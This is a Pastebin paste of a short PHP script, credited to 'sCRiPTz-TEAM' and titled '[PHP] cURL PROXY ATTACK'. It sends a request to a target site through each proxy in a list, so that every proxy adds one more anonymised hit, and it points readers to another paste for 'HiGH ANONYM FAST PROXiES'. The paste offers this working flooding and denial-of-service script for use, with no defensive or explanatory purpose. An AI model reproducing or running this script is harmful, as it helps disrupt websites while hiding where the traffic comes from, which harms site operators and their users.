Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* _____ _____ _ _____ _____ _____ _____ _____ _____
- ___| | __ |_| _ |_ _|___ ___|_ _| __| _ | |
- |_ -| --| -| | __| | | |- _|___| | | | __| | | | |
- |___|_____|__|__|_|__| |_| |___| |_| |_____|__|__|_|_|_|
- |s C R i P T z - T E A M . i N F O|----------------------------
- [PHP] cURL PROXY ATTACK
- COUNT OF PROXiES = COUNT OF NEW ATTACK ON WEBSiTE => "SITE_URL"
- "$proxies" =>
- Get from http://pastebin.com/u/scriptz-team => Search for "HiGH ANONYM FAST PROXiES"
- */
- set_time_limit(0);
- $proxies = "IP:PORT
- IP:PORT
- IP:PORT
- ";
- define("SITE_URL", "http://somesite.com");
- define("USER_AGENT", "Some random user-agent");
- foreach (explode("\n", $proxies) as $proxy) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, SITE_URL);
- curl_setopt($ch, CURLOPT_USERAGENT, USER_AGENT);
- curl_setopt($ch, CURLOPT_PROXY, $proxy);
- curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $data = curl_exec($ch);
- curl_close($ch);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement